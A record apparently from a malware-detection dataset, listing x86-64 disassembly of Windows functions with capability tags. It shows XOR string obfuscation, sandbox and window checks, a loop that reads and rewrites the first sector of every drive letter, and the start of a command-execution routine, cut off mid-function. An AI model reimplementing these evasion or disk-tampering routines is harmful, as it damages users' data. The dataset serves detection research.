joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008e390
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov edx, 0x1000
mov dword [rsp + 0x50], 0x1000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r8, [rsp + 0x50]
mov ecx, 0x250000
mov rdx, rax
mov rbx, rax
call qword [sym.imp.MPR.dll_WNetGetProviderNameA]
test eax, eax
jne 0x14008e5c6
movups xmm0, xmmword [str.oSIHH_S]
movzx eax, word [0x1401701b0]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x38], ax
movsd xmm0, qword [0x1401701a8]
movzx eax, byte [0x1401701b2]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3a], al
jl 0x14008e561
movdqa xmm0, xmmword [0x140176220]
lea rdx, [rsp + 0x24]
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176370]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x140176100]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14008e450
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x1b
jge 0x14008e5a1
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x1b
jl 0x14008e570
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14008e5c6
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140146930
add rsp, 0x70
pop rbx
ret
test rbx, rbx
je 0x14008e5d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140146930
add rsp, 0x70
pop rbx
ret
Function at 0x14008e990
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x68
movups xmm0, xmmword [str.j_UX_QG__]
movzx eax, byte [0x140170068]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x48], al
movsd xmm0, qword [0x140170060]
movsd qword [rsp + 0x40], xmm0
jl 0x14008eb11
movdqa xmm0, xmmword [0x140176220]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176370]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x140176100]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14008ea00
movaps xmm6, xmmword [rsp + 0x50]
cmp ecx, 0x19
jge 0x14008eb51
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x19
jl 0x14008eb20
xor r9d, r9d
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
test rax, rax
sete al
add rsp, 0x68
ret
Function at 0x1400a9860
Capabilities:
Get routing table

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3d0
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
xor ebx, ebx
lea rdx, [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x58], ebx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
test eax, eax
je 0x1400a98c0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rdi], ebx
jbe 0x1400a9911
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
cmp dword [rcx + rdi + 4], 0
movups xmm3, xmmword [rcx + rdi + 0x14]
jne 0x1400a98fa
lea rcx, [rsp + 0x60]
movd dword [rsp + 0x260], xmm3
call qword [sym.imp.IPHLPAPI.DLL_GetIfEntry]
test eax, eax
je 0x1400a9902
inc ebx
cmp ebx, dword [rdi]
jb 0x1400a98d0
jmp 0x1400a9911
cmp dword [rsp + 0x264], 6
sete byte [0x14164d3d8]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140146930
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3d0
pop rdi
ret
Function at 0x1400b65c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rsi
sub rsp, 0x2f0
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rax, str.FAT32
movsx r8d, cl
mov qword [rsp + 0x40], rax
lea rdx, str.._c:
lea rax, [0x140171b94]
mov dword [rsp + 0x48], 0x52
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xa0]
lea rax, str.NTFS
mov dword [rsp + 0x4c], 0x43
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x58], Ordinal_60
mov dword [rsp + 0x5c], Ordinal_46
mov dword [rsp + 0x68], 3
mov dword [rsp + 0x6c], Ordinal_79
call fcn.1400d9070
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0xa0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400b679b
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400b6792
mov qword [rsp + 0x308], rbx
lea rbx, [rsp + 0x48]
mov qword [rsp + 0x310], rdi
xor edi, edi
nop
mov rcx, qword [rbx - 8]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400b66e0
mov eax, dword [rbx]
lea rdx, [rsp + 0xe0]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400b670e
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x1400b66d0
jmp 0x1400b6782
cmp edi, 3
jge 0x1400b6782
lea rcx, [rsp + 0x70]
call fcn.1400e81c0
cmp qword [rax + 0x18], 0xf
jbe 0x1400b6727
mov rax, qword [rax]
mov eax, dword [rax]
movsxd rcx, edi
add rcx, rcx
mov ecx, dword [rsp + rcx*8 + 0x4c]
xor dword [rsp + rcx + 0xe0], eax
lea rcx, [rsp + 0x70]
call fcn.14003d760
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1400b6782
lea r9, [rsp + 0x94]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x308]
mov rdi, qword [rsp + 0x310]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140146930
add rsp, 0x2f0
pop rsi
ret

Function at 0x1400b67c0
Capabilities:
Parse pe header
Read file on windows
Write file on windows

Disassembly:
sub rsp, 0x28
mov cl, 0x41
call fcn.1400b65c0
mov cl, 0x42
call fcn.1400b65c0
mov cl, 0x43
call fcn.1400b65c0
mov cl, 0x44
call fcn.1400b65c0
mov cl, 0x45
call fcn.1400b65c0
mov cl, 0x46
call fcn.1400b65c0
mov cl, 0x47
call fcn.1400b65c0
mov cl, 0x48
call fcn.1400b65c0
mov cl, 0x49
call fcn.1400b65c0
mov cl, 0x4a
call fcn.1400b65c0
mov cl, 0x4b
call fcn.1400b65c0
mov cl, 0x4c
call fcn.1400b65c0
mov cl, 0x4d
call fcn.1400b65c0
mov cl, Ordinal_79
call fcn.1400b65c0
mov cl, reloc.WLDAP32.dll_Ordinal_79
call fcn.1400b65c0
mov cl, 0x50
call fcn.1400b65c0
mov cl, 0x51
call fcn.1400b65c0
mov cl, 0x52
call fcn.1400b65c0
mov cl, 0x53
call fcn.1400b65c0
mov cl, 0x54
call fcn.1400b65c0
mov cl, 0x55
call fcn.1400b65c0
mov cl, 0x56
call fcn.1400b65c0
mov cl, 0x58
call fcn.1400b65c0
mov cl, 0x57
call fcn.1400b65c0
mov cl, 0x5a
add rsp, 0x28
jmp fcn.1400b65c0
Function at 0x1400b6880
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13f0
call fcn.1401473a0
sub rsp, rax
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x13e0], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rsp + 0x28], xmm0
movzx eax, byte [0x14016f0d8]
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], cl
mov ebx, 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov ecx, eax
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
nop
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
inc rbx
cmp rbx, 0x270
jb 0x1400b6900
mov dword [rsp + 0x50], 0x270
mov ebx, 5
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.14008a7b0
mov eax, eax
shl rax, 4
shr rax, 0x20
cdqe
movzx r9d, byte [rsp + rax + 0x28]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400b6978
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400b696d
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400b6980
mov rcx, rdi
call fcn.140060790
sub rbx, 1
jne 0x1400b6930
mov rax, rdi
mov rcx, qword [rsp + 0x13e0]
xor rcx, rsp
call fcn.140146930
mov rbx, qword [rsp + 0x1408]
add rsp, 0x13f0
pop rdi
ret
Function at 0x1400d89e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x1400d8a11
xor eax, eax
jmp 0x1400d8b5b
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x1400d8a4e
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x1400d8a4e
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x1400d8b5b
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x1400d8b50
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400d8a95
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400d8aa3
movzx ecx, di
jmp 0x1400d8af7
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400d8b10
sub eax, 1
je 0x1400d8b10
cmp eax, 2
jne 0x1400d8b50
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x1400d8b53
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x1400d8b3e
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x1400d8b50
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140146930
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400d8ce0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400d8db5
cmp byte [rcx + 0x72], 0
je 0x1400d8db5
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + Ordinal_26]
cmp di, ax
je 0x1400d8db1
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400d8d76
sub eax, 1
je 0x1400d8d7a
cmp eax, 2
jne 0x1400d8db1
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140146930
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400d8da8
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400d8db1
cmp byte [rbx + 0x72], 0
sete al
jmp 0x1400d8d5e
xor al, al
jmp 0x1400d8d5e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140146930
add rsp, 0x60
pop rbx
ret
Function at 0x1400e7850
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, r8
mov rbx, rcx
mov qword [rsp + 0x60], rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x70]
call fcn.140148254
mov dword [rsp + 0x58], 0x200
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetPolicies
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400e7958
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400e794d
mov eax, dword [rsp + 0x68]
dec eax
cmp eax, 1
ja 0x1400e794d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rsp + 0x58]
shr r8, 1
dec r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.140089be0
nop
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.1400e79b0
nop
lea rcx, [rsp + 0x38]
call fcn.140089450
jmp 0x1400e7980
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x14016fd98]
mov rcx, rbx
call fcn.140089be0
mov rax, rbx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140146930
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret

Function at 0x1400e7db0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400e7dca
test al, 0x10
jne 0x1400e7dca
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x1400e81c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1400
call fcn.1401473a0
sub rsp, rax
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x1401747b8]
movups xmmword [rsp + 0x38], xmm1
mov eax, dword [0x1401747c8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1401747cc]
mov byte [rsp + 0x4c], al
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], cl
mov edi, 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov dword [rsp + 0x13e4], 0xffffffff
mov dword [rsp + 0x64], eax
nop word [rax + rax]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edi
mov dword [rsp + rdi*4 + 0x64], ecx
inc rdi
cmp rdi, 0x270
jb 0x1400e8260
mov dword [rsp + 0x60], 0x270
mov edi, 8
nop dword [rax]
lea rcx, [rsp + 0x60]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 6
ja 0x1400e82ba
lea rcx, [rsp + 0x60]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 7
jb 0x1400e82a5
shr rax, 0x20
movsxd rcx, eax
movzx r9d, byte [rsp + rcx + 0x28]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400e82f3
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400e82e8
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400e82fb
mov rcx, rbx
call fcn.140060790
sub rdi, 1
jne 0x1400e8290
mov rax, rbx
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.140146930
mov rbx, qword [rsp + 0x1418]
add rsp, 0x1400
pop rdi
ret
Function at 0x1400e8bf0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13e0
call fcn.1401473a0
sub rsp, rax
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x13d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor edi, edi
mov dword [rsp + 0x28], edi
lea rcx, [rsp + 0x20]
call fcn.14006bc10
mov edx, dword [rax]
mov dword [rsp + 0x13c4], 0xffffffff
mov dword [rsp + 0x44], edx
lea ecx, [rdi + 1]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x44], edx
inc rcx
cmp rcx, 0x270
jb 0x1400e8c41
mov dword [rsp + 0x40], 0x270
mov eax, dword [str.LC_]
mov dword [rsp + 0x20], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], dil
je 0x1400e8d53
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400e8d0e
movdqa xmm3, xmmword [0x140176070]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140176390]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140176390]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401760b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140176220]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400e8d53
lea r9, [rsp + 0x20]
mov r8d, edi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400e8d20
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1400e8d70
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400591d0
mov dword [rsp + 0x28], 1
mov edi, 6
lea rcx, [rsp + 0x40]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400e8dc5
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400e8db0
shr rax, 0x20
lea r9d, [rax - 0x7fffff9f]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400e8dfc
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400e8df1
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400e8e04
mov rcx, rbx
call fcn.140060790
sub rdi, 1
jne 0x1400e8d93
mov rax, rbx
mov rcx, qword [rsp + 0x13d0]
xor rcx, rsp
call fcn.140146930
mov rbx, qword [rsp + 0x13f8]
add rsp, 0x13e0
pop rdi
ret
Function at 0x1400e8e30
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
movups xmm0, xmmword [str.JYeXXRZ4_bC]
movups xmmword [rbp - 0x60], xmm0
mov ecx, dword [0x140175198]
mov dword [rbp - 0x50], ecx
movzx eax, word [0x14017519c]
mov edx, reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x60], dx
xor word [rbp - 0x5e], 0x3a
xor word [rbp - 0x5c], 0x3b
xor word [rbp - 0x5a], 0x3c
xor word [rbp - 0x58], 0x3d
xor word [rbp - 0x56], 0x3e
xor word [rbp - 0x54], 0x3f
xor word [rbp - 0x52], 0x40
xor cx, 0x41
mov word [rbp - 0x50], cx
xor word [rbp - 0x4e], 0x42
xor ax, 0x43
mov word [rbp - 0x4c], ax
xorps xmm0, xmm0
